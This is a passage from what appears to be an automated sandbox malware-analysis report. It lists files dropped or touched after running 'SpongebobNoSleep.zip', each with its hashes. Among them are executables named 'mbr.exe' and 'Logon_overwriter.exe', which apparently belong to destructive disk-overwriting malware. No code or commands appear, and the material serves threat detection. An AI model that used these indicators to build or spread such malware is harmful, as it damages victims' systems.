
                                                    de3ad93abcffaf3d0c9816c4cf93c9a1

                                                    SHA1

                                                    519e143fe6e6cbe6de1a25570e27266c0f1b2a40

                                                    SHA256

                                                    548e4681768d7bb43daadb796d56400be27441b035340895609fc05b51c18488

                                                    SHA512

                                                    3b40a008dda30214a0456cb6d268e2fadc5ae1c0c4c9eebc08a76f1850e25b73e8de4715f99df3555e541aa6833599f878fbf15e1a664778184dfb141d085c37

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                    Filesize

                                                    872B

                                                    MD5

                                                    80022e11926a4b54ebcaa3cdcb76253c

                                                    SHA1

                                                    a319ba0097c2c2e1632e47ffb39ee56b9a7337aa

                                                    SHA256

                                                    a3abd851d3608e7108e12291ee2fab194762542e75cb1c715dba49ebce2850ff

                                                    SHA512

                                                    7b1174e584977ab0b9b1efdd6f0b1b8764e7adf15a81e5a56592ed8a7001120bd403b06453fcac096d3722e83187cf1b073295504c43eb5d95ef1dae4088ac88

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

                                                    Filesize

                                                    1KB

                                                    MD5

                                                    e4a308f4fcfc72a97355dca952ed59e3

                                                    SHA1

                                                    134c2379a3109214564894cdc5dd0440d68d5478

                                                    SHA256

                                                    84608c030a41bcf855f4837d7ac3e0c9ac927395dc057e48eb759edd7c385d11

                                                    SHA512

                                                    d76c05d9f957794733ce7bd7ba0e00bfbaab0b5ede99e3f9702205d7541f06801a0d2feba8ef8b2b48dfd3d22191d2e9ad498b55703cd103cc7d9f40e00e2c98

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe57f349.TMP

                                                    Filesize

                                                    370B

                                                    MD5

                                                    3343f749b5407aed36ee80fcf3a66ebd

                                                    SHA1

                                                    e6fd3d36dbde7bddb64603fb84220be7d5dffb41

                                                    SHA256

                                                    69f4512f343a52cdb89d1767f94bee960e0a7c2978f6d73f1667ffda36d92fa4

                                                    SHA512

                                                    de89d0d6d5c83fab50bf07ef40aa523703de35b633581f27bf162ccdb384851039f10d9b182ba5bc9fa279e491f14a9bd045ca1b6dc45a20ec25687f66b319c5

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\219f8bbb-f0ed-4ae7-b4f7-bd9ee5136d24\1

                                                    Filesize

                                                    11.6MB

                                                    MD5

                                                    658777b06d78891a73de641bd2647355

                                                    SHA1

                                                    7f27097808dbe53102e6e7aa4312dd18b9be5a6f

                                                    SHA256

                                                    d7b6de32c0fb955bfee6e699861126c6c4807fcba9e6d1bb5a20687dc9c6c560

                                                    SHA512

                                                    0a268a3f44b31fad82f350fad509b615e4f8d6a6af5e1a6edbc2fb06014438af3b93326351e54cbae6d9d335087da588433fb875ab1fa0cb485e87800dcb3d1c

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                    Filesize

                                                    16B

                                                    MD5

                                                    46295cac801e5d4857d09837238a6394

                                                    SHA1

                                                    44e0fa1b517dbf802b18faf0785eeea6ac51594b

                                                    SHA256

                                                    0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

                                                    SHA512

                                                    8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

                                                    Filesize

                                                    16B

                                                    MD5

                                                    206702161f94c5cd39fadd03f4014d98

                                                    SHA1

                                                    bd8bfc144fb5326d21bd1531523d9fb50e1b600a

                                                    SHA256

                                                    1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

                                                    SHA512

                                                    0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                    Filesize

                                                    11KB

                                                    MD5

                                                    4ec4cad59ce30081bc5a04079587fa5a

                                                    SHA1

                                                    2116646f148ac765b7d9173bb9e1473634dea135

                                                    SHA256

                                                    e01d4ac5d1f8f164f40310b5aa22e13bc161d61bc2b985b3e45cef20685f5fbe

                                                    SHA512

                                                    520fee25382e1b38771a3b9414a5161482be00f8c9a82833c9e8016753dd66b4d277083288e02d08d0bea5831a7e6084fecd4d752e8cf4d65c91208c8ebbb53c

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                    Filesize

                                                    10KB

                                                    MD5

                                                    dd02a9342de8b1ae8b85dee71c4feb3c

                                                    SHA1

                                                    f4aebaf1b9ab57800d31d85da3e188f7b9626c14

                                                    SHA256

                                                    72d8f843793eb7dadbc8b83a4c676158a7ad352f9431313c1d5e98fd198e53cf

                                                    SHA512

                                                    1908288a2dc7a895deccf0e12228b2f5ba818e43ee820fcfcbf7b5d63806b93aabcc1557ba8c577c190f1bff365dd7bb8d751a5593e5442cf4601957e5a923bd

                                                  • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

                                                    Filesize

                                                    10KB

                                                    MD5

                                                    cc1eebb2d70ad7254e81e266fdf53dec

                                                    SHA1

                                                    84df43c3f37dc42e80141daec36926d92d00aab5

                                                    SHA256

                                                    916a6aace96be2b7f7d32621cba79c59e82b4d849d40adfc5e2716d565d2417a

                                                    SHA512

                                                    bba695ad35dd70495500671f8e9cd5e88afdc622ac2126f0e3655a4162c3c33ee2140676f250c6404f132ff689a67418619581af21ad17275524fc0b2c94ea32

                                                  • C:\Users\Admin\AppData\Local\Temp\2BF8.tmp\Logon_overwriter.exe

                                                    Filesize

                                                    34KB

                                                    MD5

                                                    942e4fe24043059c647f584cc657c4ab

                                                    SHA1

                                                    41e98f66887a4d912a49af32bf164ab9daebf543

                                                    SHA256

                                                    ed996aabbbd002aa1d2a26954c64f47072f9388142b85cf273c190ce357597e2

                                                    SHA512

                                                    dab7a646761a2f547e5e8dee83678c1b30852ad266d03b3408475a65a5a0f3088a5b7e641d78baea697152cea735ece7b9537c7c86b7dc74773cdb336b0ee7f5

                                                  • C:\Users\Admin\AppData\Local\Temp\2BF8.tmp\SpongebobNoSleep.cmd

                                                    Filesize

                                                    1KB

                                                    MD5

                                                    f0f8f16b1be67c7ce5d854701fae56ce

                                                    SHA1

                                                    9ef78e1bec7b3f7190231d7d1179629db0756a38

                                                    SHA256

                                                    71f31c42e96e8dd9c25b2d36959d2ee75948a10aaeae25dffc2dd03759e53f83

                                                    SHA512

                                                    ef514835e6b4ead1c649846082beed6182947e0cd90538dea6ad8290c177c657e6f9c2e4d9f473de300fb10fb1f74e691911d75239dbf926ad5cf46b7370fd0e

                                                  • C:\Users\Admin\AppData\Local\Temp\2BF8.tmp\bg.bmp

                                                    Filesize

                                                    2.6MB

                                                    MD5

                                                    ce45a70d3cc2941a147c09264fc1cda5

                                                    SHA1

                                                    44cdf6c6a9ab62766b47caed1a6f832a86ecb6f9

                                                    SHA256

                                                    eceedadfde8506a73650cfa9a936e6a8fff7ffb664c9602bb14432aa2f8109ac

                                                    SHA512

                                                    d1bf6cdade55e9a7ce4243e41a696ae051835711f3d1e0f273ad3643f0b878266a8213cc13ca887a8181981ba4937350986e01e819b4bb109330718ef6251149

                                                  • C:\Users\Admin\AppData\Local\Temp\2BF8.tmp\gdifuncs.exe

                                                    Filesize

                                                    120KB

                                                    MD5

                                                    3b9073afad85ea5e6a76de419645245e

                                                    SHA1

                                                    faad89b3d9df889547b9940505fce6c0aefbb727

                                                    SHA256

                                                    4e3da2fd00b3a6a758e4b3303fe5fa61d87bf12c6714934fbdf6312c9bd9851b

                                                    SHA512

                                                    e1a0622bac8bc9c88458a5cb559a2ccb8c70e4d24127ccee99595cea273609b0aa7815be6eca36ba8548a2b0491bbb00edb1e809eb7126469ce7e32a682ae72a

                                                  • C:\Users\Admin\AppData\Local\Temp\2BF8.tmp\mbr.exe

                                                    Filesize

                                                    47KB

                                                    MD5

                                                    23767616e3543edfb57b841df56a0a81

                                                    SHA1

                                                    1f2ed4a7d16ac128cb50e0333578cc61469a4f92

                                                    SHA256

                                                    8de5e3f36ac9f8f844db93e630bebb80a40c51eb84b3418054d41ba2e4ca55ea

                                                    SHA512

                                                    50081bd0091cf4c7698229475dd783f0694b27dbdb889872447d6b9af375ec54bbf8c8ab609f48d6ca6d2bd2898792793658b3c6562c6474f4b63b72b7cd4347

                                                  • C:\Users\Admin\Downloads\SpongebobNoSleep.zip

                                                    Filesize

                                                    21.3MB

                                                    MD5

                                                    560b86535f0e965a00810ba75f1c7725

                                                    SHA1

                                                    8f52994f512c508c0ac6197cb9d89ababc0a4624

                                                    SHA256

                                                    6eed2abf44686e0b41cd0e62e56fc3b01ba5db1b73488cd50c969c02a735be92

                                                    SHA512

                                                    3cda9b4415562ac6e9ddacc7e420318502dd3c3103f4ea10bb7c1880cec86ba11c678b1850e91f550c0f9b8674269846b80c30563965cd7d5412f3045b5a740f

                                                  • C:\Users\Admin\Downloads\SpongebobNoSleep.zip:Zone.Identifier

                                                    Filesize

                                                    26B

                                                    MD5

                                                    fbccf14d504b7b2dbcb5a5bda75bd93b

                                                    SHA1

                                                    d59fc84cdd5217c6cf74785703655f78da6b582b

                                                    SHA256

                                                    eacd09517ce90d34ba562171d15ac40d302f0e691b439f91be1b6406e25f5913

                                                    SHA512

                                                    aa1d2b1ea3c9de3ccadb319d4e3e3276a2f27dd1a5244fe72de2b6f94083dddc762480482c5c2e53f803cd9e3973ddefc68966f974e124307b5043e654443b98

                                                  • \??\pipe\LOCAL\crashpad_5844_TNNPBGFQAYVDBHGN

                                                    MD5

                                                    d41d8cd98f00b204e9800998ecf8427e

                                                    SHA1

                                                    da39a3ee5e6b4b0d3255bfef95601890afd80709

                                                    SHA256

                                                    e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                                                    SHA512

                                                    cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                                                  • memory/716-854-0x0000000000400000-0x000000000079B000-memory.dmp

                                                    Filesize

                                                    3.6MB

                                                  • memory/716-879-0x0000000000400000-0x000000000079B000-memory.dmp

                                                    Filesize

                                                    3.6MB